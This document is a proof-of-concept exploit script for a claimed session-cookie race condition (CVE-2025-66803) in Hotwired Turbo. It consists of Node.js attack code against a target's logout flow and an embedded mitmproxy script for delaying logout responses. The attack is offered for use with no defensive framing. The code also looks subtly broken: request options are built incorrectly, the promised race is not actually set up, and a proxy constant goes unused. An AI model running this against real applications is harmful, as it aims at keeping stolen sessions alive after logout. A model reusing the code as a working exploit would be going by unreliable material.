CVE-2025-66803 Hotwired Turbo竞态条件导致会话Cookie重新应用漏洞

// CVE-2025-66803 Proof of Concept // Race Condition in Hotwired Turbo logout bypass const http = require('http'); const https = require('https'); // Configuration const TARGET_URL = 'https://target-app.example.com'; const ATTACKER_PROXY = 'http://attacker-proxy:8080'; // Simulate delayed frame response attack async function exploitLogoutBypass(sessionCookie) { console.log('[+] Starting CVE-2025-66803 exploitation...'); // Step 1: Monitor logout request console.log('[+] Step 1: Monitoring for logout request...'); // Step 2: Intercept and delay the logout response console.log('[+] Step 2: Intercepting logout request...'); const logoutRequest = await sendRequest({ url: `${TARGET_URL}/logout`, method: 'POST', headers: { 'Cookie': sessionCookie, 'Turbo-Frame': 'logout-frame' } }); // Step 3: Keep old frame request pending console.log('[+] Step 3: Maintaining pending turbo-frame request...'); const pendingFrameRequest = sendRequest({ url: `${TARGET_URL}/api/user-profile`, headers: { 'Cookie': sessionCookie, 'Turbo-Frame': 'user-profile-frame' } }); // Step 4: Delay logout response console.log('[+] Step 4: Delaying logout response by 5 seconds...'); await delay(5000); // Step 5: Allow delayed frame response to reapply cookie console.log('[+] Step 5: Allowing pending frame response...'); await pendingFrameRequest; // Step 6: Verify session still active console.log('[+] Step 6: Verifying session reactivation...'); const verifyResponse = await sendRequest({ url: `${TARGET_URL}/api/user-profile`, headers: { 'Cookie': sessionCookie } }); if (verifyResponse.statusCode === 200) { console.log('[!] Exploitation successful - session still active after logout'); return true; } return false; } function delay(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } function sendRequest(options) { return new Promise((resolve, reject) => { const protocol = options.url.startsWith('https') ? https : http; const req = protocol.request(options, (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => resolve({ statusCode: res.statusCode, body: data })); }); req.on('error', reject); req.end(); }); } // MITM Proxy implementation for real-world attack const mitmProxy = ` # Python mitmproxy script for CVE-2025-66803 from mitmproxy import http from mitmproxy.proxy import config import time def request(flow: http.HTTPFlow): # Monitor for logout requests if '/logout' in flow.request.path: # Store the session cookie flow.metadata['original_cookie'] = flow.request.headers.get('Cookie', '') # Mark this as a logout attempt flow.metadata['logout_attempt'] = True # Check for turbo-frame requests if flow.request.headers.get('Turbo-Frame'): flow.metadata['turbo_frame'] = True def response(flow: http.HTTPFlow): # If this is a logout response, delay it if flow.metadata.get('logout_attempt'): print('[+] Intercepting logout response for delay...') time.sleep(5) # Delay logout completion # If a turbo-frame response arrives after logout if flow.metadata.get('turbo_frame') and flow.metadata.get('logout_attempt'): print('[+] Turbo-frame response may reapply session cookies') `; console.log('\n[!] Run with: node cve-2025-66803-poc.js <session_cookie>'); console.log('[!] Or use the mitmproxy script for network-level attacks');